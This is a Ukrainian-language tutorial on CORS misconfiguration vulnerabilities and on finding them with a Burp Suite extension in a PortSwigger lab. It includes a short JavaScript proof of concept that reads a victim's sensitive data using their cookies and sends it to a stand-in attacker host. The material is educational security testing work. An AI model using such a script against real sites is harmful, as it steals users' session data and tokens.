Burp Extension CORS
Спільний доступ між різними джерелами (CORS) У цьому розділі я поясню, що таке спільне використання ресурсів між джерелами (CORS), опишемо деякі поширені приклади атак на основі спільного використання між джерелами та обговоримо, як шукати за допомогою Burp Extension CORS швидко цю вразливість, та куди ж без проговорення, як захиститися від цих атак.
TOOLS FOR FIND VULNERABILITY
Що таке CORS (обмін між джерелами)?
Спільний доступ до ресурсів між джерелами (CORS) — це механізм браузера, який забезпечує контрольований доступ до ресурсів, розташованих за межами даного домену. Це розширює та додає гнучкості до політики того самого походження ( SOP ). Однак це також створює потенціал для міждоменних атак, якщо політика CORS веб-сайту погано налаштована та реалізована. CORS не є захистом від атак між джерелами, таких як підробка міжсайтових запитів (CSRF).
Same-origin policy
SOP - це обмежувальна специфікація між джерелами, яка обмежує можливість взаємодії веб-сайту з ресурсами за межами вихідного домену. SOP була визначена багато років тому у відповідь на потенційно шкідливі міждоменні взаємодії, наприклад, крадіжку приватних даних одним веб-сайтом у іншого. Як правило, це дозволяє домену надсилати запити до інших доменів, але не отримувати доступ до відповідей.
Послаблення Same-origin policy
SOP є дуже обмежувальною, і, отже, були розроблені різні підходи, щоб обійти обмеження. Багато веб-сайтів взаємодіють із субдоменами або сторонніми сайтами таким чином, що вимагає повного доступу з різних джерел. Контрольоване послаблення SOP можливе за допомогою спільного використання ресурсів між джерелами (CORS).
Протокол спільного використання ресурсів між джерелами використовує набір заголовків HTTP, які визначають надійні джерела веб-сайтів і пов’язані властивості, наприклад, чи дозволено аутентифікований доступ. Вони об’єднані в обмін заголовками між браузером і веб-сайтом із різних джерел, до якого він намагається отримати доступ. Розглянемо одну із вразливостей, яка виникає через проблеми в конфігурації CORS та розглянемо як можна шукати її за допомогою Burp Suite
Створений сервером заголовок ACAO із зазначеного клієнтом заголовка Origin
Деякі програми повинні надавати доступ до низки інших доменів. Підтримання списку дозволених доменів вимагає постійних зусиль, і будь-які помилки можуть призвести до порушення функціональності. Таким чином, деякі програми використовують легкий шлях ефективного надання доступу з будь-якого іншого домену.
Один із способів зробити це – прочитати заголовок Origin із запитів і включити заголовок відповіді, в якому зазначено, що джерело запиту дозволено. Наприклад, розглянемо програму, яка отримує такий запит:
GET /sensitive-victim-data HTTP/1.1
Host: vulnerablesite.com
Origin: https://evil-website.com
Cookie: sessionid=...
Потім він відповідає:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil-website.com
Access-Control-Allow-Credentials: true ...
У цих заголовках зазначено, що доступ дозволений із запитуваного домену ( evil-website.com) і що запити між джерелами можуть включати файли cookie ( Access-Control-Allow-Credentials: true) і тому оброблятимуться під час сеансу.
Оскільки програма відображає довільне походження в Access-Control-Allow-Origin заголовку, це означає, що абсолютно будь-який домен може отримати доступ до ресурсів із уразливого домену. Якщо відповідь містить будь-яку конфіденційну інформацію, таку як ключ API або токен CSRF , ви можете отримати її, розмістивши такий сценарій на своєму веб-сайті:
var req = new XMLHttpRequest();
req.onload = reqListener; req.open('get','https://vulnerablesite.com/sensitive-victim-data',true);req.withCredentials = true;
req.send();
function reqListener() {
location='//malicious-website.com/log?key='+this.responseText;
};
Burp Extension: CORS* - Additional CORS Checks
Це розширення можна використовувати для перевірки веб-сайтів на наявність помилкових конфігурацій CORS. Він може виявити тривіальні неправильні конфігурації, як-от довільне відображення походження, а також більш тонкі, коли регулярний вираз не налаштовано належним чином (наприклад, www.victim.com.attacker.com ). Проблема створюється, якщо відображено походження небезпеки. Якщо встановлено Access-Control-Allow-Credentials: true, то проблема має високий рейтинг.
Особливості плагину в тому, що його можна запускати в режимі automatic або manual
Установка
1) скачати в гіті на встановити в Burp https://github.com/portswigger/additional-cors-checks
2) Краще другий варіант, зайти в Burp та одразу додати йог ов плагінах вкладка Extender--DApp Store--CORS* Additional CORS Checks
Практика
Будемо юзати цю лабу для відтачування як працює плагін для пошуку https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack.
Щоб працювати в цій лабі вам потрібно зареєструватися.
Отже врубаємо Burp Suite і налаштовуємо там проксю між браузером та бурпом або якщо у вас нова версі бурпа просто відкрити проксі браузер в ньому. Після того як налаштували проксю завалюємся на сторінку на якій будемо пракрикуватися...
Після того як ми потрапили на лабу, а в лабі ми начебто потрабили на якийсь інтернет магазин, тут нам треба пройти типу авторизацію на цьому магазині. Переходимо в мій кабінет, клікнувши по лінці "My account".
Тут нам потрібно ввести креди wiener:peter
Після цього як ми успішло авторизувалися, давайте перейдемо до Burp і подивимось які запроси ми там наловили, щоб потім з ними погратися. А нас саме цікавить запрос про деталі інфи про нашего юзера
Для цього переходимо в розділ Proxy--HTTP hіstory Там знаходимо реквест який відповідає за запрощення іформації про мій профіль, він буде мати частину урла таку /accountDetails. Натиснувши на цей ревест ми отримаємо інфу про те в якому вигляді він відправляється на сервер, це ми можемо подивитися у вкладці Request.
А у вкладці Response ми можемо подивитися що нам відповів сервер на наш запит, а там ми побічимо чутливі данні про нашого юзера, мій токен ключ та мою сесію за допомогою яких зоумисник може скористатися моєю учоткою. Зараз нам потрібно а можно викликати ці дані з якогось іншого ресурсу і в цьому нам допоможе наш плагін який ми ставили.
Відправте тепер реквест з вкладки Request, за допомогою правої кнопки миші, в розділ add Request to CORSA, а потім перейдіть у вкладку CORS*.
Тут нам потрібно обрати виконати пару налаштувань:
- заповнити поле URL for CORS фейкового сайту, з якого буде запрошуватися доступ до сторінки
- клікнути чекбокс Activate CORS
- обрати зі списку реквест який ми хочемо перевірити
- та клікнуть по кнопці Send CORS requests for selected enty
Після того як реквест відправиться з нашими налаштуваннями, то нижче повино з'явитися і реквест в якому видно що в хедер додався заголовок ORIGIN, та в респонсі ми можемо подивитися відповідь від обробки такого реквесту. Якщо у відповіді з'явиться заголовок Access-Control-Allow-Origin, що означає, що наш сайт довіряє іншому сайту для запитів інформації о моєму профілі, тобто ми знайшли вразливість неправльних налаштувань CORS.
Тепер ви знаєте як можна шукати вразливості CORS за допомогою Burp та плагіну CORS* - Additional CORS Checks